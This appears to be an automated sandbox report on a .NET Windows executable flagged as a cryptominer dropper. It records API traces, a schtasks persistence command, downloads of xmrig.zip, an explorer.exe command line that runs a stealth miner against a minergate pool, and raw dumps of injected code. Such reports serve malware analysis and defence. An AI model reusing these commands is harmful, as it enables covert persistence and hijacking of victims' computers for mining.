popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

1321168167.exe

Generic Malware Code injection Socket Escalate priviledges Create Service KeyLogger DNS ScreenShot PE64 AntiDebug BitCoin PE File AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 15, 2021, 10:18 a.m. July 15, 2021, 10:23 a.m.
Size 46.5KB
Type PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5 ef460c0a6998ba8f81b18efbd42ef21d
SHA256 63d38ae546f811d04a1c9bf42a30c555d17cf0a58710fa10d952b7aca0c916f4
CRC32 BF99724B
ssdeep 768:S6/CLBMQOaWaORtvYf8aEk9sCGfOb9BMNsZlvED/zD5kOBPd03:SgC9MtgutvIEkgfyCiZlvWKOBk
Yara
  • IsPE64 - (no description)
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "services64" has successfully been created.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "services64" has successfully been created.
console_handle: 0x0000000000000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://github.com/Sanctam/SanctamRepository/raw/master/includes/xmrig.zip
suspicious_features GET method with no useragent header suspicious_request GET https://raw.githubusercontent.com/Sanctam/SanctamRepository/master/includes/xmrig.zip
request GET https://github.com/Sanctam/SanctamRepository/raw/master/includes/xmrig.zip
request GET https://raw.githubusercontent.com/Sanctam/SanctamRepository/master/includes/xmrig.zip
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 1835008
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000a30000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b70000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1321000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef19bb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 720896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000a30000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000a60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2972
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1324000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b9a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c76000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91c50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cc0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bbb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91b92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91bbd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91baa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91cc1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2972
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe91d00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2952
region_size: 2031616
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000a50000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2952
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000bc0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2952
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1321000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2952
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef19bb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2952
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002560000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2952
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002680000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2952
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2952
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2952
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef1322000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"'
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
parameters:
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\services64.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\services64.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
filepath: cmd
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
section {u'size_of_data': u'0x0000b200', u'virtual_address': u'0x00002000', u'entropy': 7.934064143831007, u'name': u'.text', u'virtual_size': u'0x0000b128'} entropy 7.93406414383 description A section with a high entropy has been found
entropy 0.967391304348 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url https://xmrig.com/wizard
url https://xmrig.com/benchmark/%s
url https://xmrig.com/docs/algorithms
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Take ScreenShot rule ScreenShot
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Perform crypto currency mining rule BitCoin
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"'
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1856
region_size: 7700480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000140000000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000000000000218
1 0 0
cmdline "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
cmdline schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"'
cmdline cmd /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\AppData\Local\Temp\services64.exe"' & exit
cmdline C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr.pool.minergate.com --user=hidminer@protonmail.com --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=2 --cinit-idle-cpu=80 --cinit-stealth
file C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
Time & API Arguments Status Return Repeated

connect

 ip_address: 104.23.99.190
socket: 368
port: 443
-1 0

send

 buffer: 51Ö ™Ç -%;vÆ «Æ$èÊxĎ ‘ÛkiÇ֊9( ž7µ —7MAØÚ±I´ÚĐÍ~PÎ )]~ÿ}Óá~c>À,À0ŸÌ©Ì¨ÌªÀ+À/žÀ$À(kÀ#À'gÀ À9À À3œ=<5/ÿª pastebin.com  # 0.   + -3&$ CP ÷Àû¾‹fcd“Ø££hݗMÙ¦œ°”V
socket: 368
sent: 314
1 314 0

send

 buffer: Eiò`>ð^Ýósa<Š² YT{ˆ¾µP§ÎxL¬ê~"=¶A&/’K^8ûÍèm¦7îá€×qƒ¬êʟ„&R0êG#
socket: 368
sent: 80
1 80 0

send

 buffer: €Â¡.‹šüÐJà^Ðî`ÎÜ**«ÒM±šÄm™£¦' F“õÉ5ã;ÐÓ-Ä*8å9$ÜRÑBMA_Ð7cæÄO÷ÇbÁ¥WK¹Á)†q#øKÅnRJ»wjÝSJ‹¶¡/P»*¿ f¬™”–yLîÅ¿%Ûà;Åï\J
socket: 368
sent: 133
1 133 0

send

 buffer: Û+.ùìâíÁÉ0'ä؈
socket: 368
sent: 24
1 24 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\ˆ>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPz†I—zéPz†T{ éPz†S{éPz†U{ŽéPzކT{ éPzCQ{ éPzéQzpèPz™T{KëPzކY{äéPzކS{éPzކ¯zéPzéÇzéPzކR{éPzRichéPzPEd† @+`ð" 4Al¶.@€u`|ÐFÜàt°`r| ðtœ‰wCPxC( wC0 4X .textt44 `.rdataŠÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata| `rH@@_RANDOMX– ptJ@`_SHA3_25@ €t J@`_TEXT_CNQt &J@`_TEXT_CN„°tFJ@`_RDATA”ÐtXJ@@.rsrc°àtZJ@@.relocœ‰ðtŠ`J@B
base_address: 0x0000000140000000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

 buffer: H‹Ð%Àÿ HÁÊ âÀÿ fffffff„fffffff„„SUWVATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$QH‹*H‹zH‹ÅHÁè %ÀÿÿI‹ðI‹ÙH‹ÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-ŒfD(5“fD(=šH‹Ð%ÀÿHÁÊ âÀÿHƒì(Ç$ÀŸÇD$À¿ÇD$ÀßÇD$ ÀÿÇD$ ÿÿÿÿëhfffffff„fffffff„fffffff„fff„ÀÿÿÿÿÀÿÿÿÿð€ð€H¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄ€ëfffffff„„H H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþH H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æЏÈP¢îЏÈH¢öЏÈ@¢þАH3è‹ÕâÀÿÿHÁÍ ‹ÕâÀÿÿH L3L3IL3QL3YL3a L3i(L3q0L3y8H‹ÍHÁé áÀÿÿL3H3è‹ÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3|8HƒìHH‰\$@L‰D$8L‰L$0L‰T$(L‰\$ L‰d$L‰l$L‰t$L‰<$H3èHÁÍ ‹ÝãÀÿÿÁëH‹\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HƒÄHH‹L$L‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8H‹L$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ff„SUWVATAUAVAWH‹9H‹òI‹èAQ H‹ÝèÞL‰L‰NL‰VL‰^L‰f L‰n(L‰v0L‰~8HƒÅHƒÆ@H;,$rÈAYA_A^A]A\^_][Ãfffffff„fffffff„@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó|$póD„$€óDŒ$óD”$ óDœ$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH‹9H‹òI‹èAQHƒì(éš-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„fffffff„fffffff„fffffff„DF@†€†À†H‹ÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH‰$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$LEL¯ïþÿÿL‹ ðþÿÿM3ÈL‹îþÿÿM3ÐL‹ìþÿÿM3ØL‹%êþÿÿM3àL‹-èþÿÿM3èL‹5æþÿÿM3ðL‹=äþÿÿM3øH‰l$ Äâ}D$ ÅýÔmþÿÿÄâ} ŒþÿÿŽsРŵsÑ Å}ôÑÅ5ôØŽôÁÄÁ%só Åýsð ÄA-ÔÓÅ­ÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷L‰Å}lÁL‰NÅmlËL‰VÅ]lÕL‰^ÅMlßL‰f Å}máL‰n(ÅmmëL‰v0Å]mõL‰~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ Äà Fß Åþ–€Åþž ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1Äà Fÿ1Åþ¶Åþ¾ HƒÅHÆ@H;l$(‚HƒÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo|$póDo„$€óDoŒ$óDo”$ óDoœ$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHƒì(H‰$Å~t$H‹D$(H‹\$0H‹L$8H‹T$@Å~oÅ~o Å~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH‹$Å~ot$HƒÄ(Åþ$H‹$H%ÿÿ?HÁàHÇH‰$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$HƒÄ(YL‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\^_][Ãfffffff„fffffff„fff„L3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHߐfffffff„LCHãÿÿ?HÁãHßL¯cL‹ dM3ÈL‹bM3ÐL‹`M3ØL‹%^M3àL‹-\M3èL‹5ZM3ðL‹=XM3øéXfffffff„f„-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„ºL‹Á3ÀH½ÉHÓâI÷ðÃ
base_address: 0x0000000140747000
process_identifier: 1856
process_handle: 0x0000000000000218
1 1 0

WriteProcessMemory

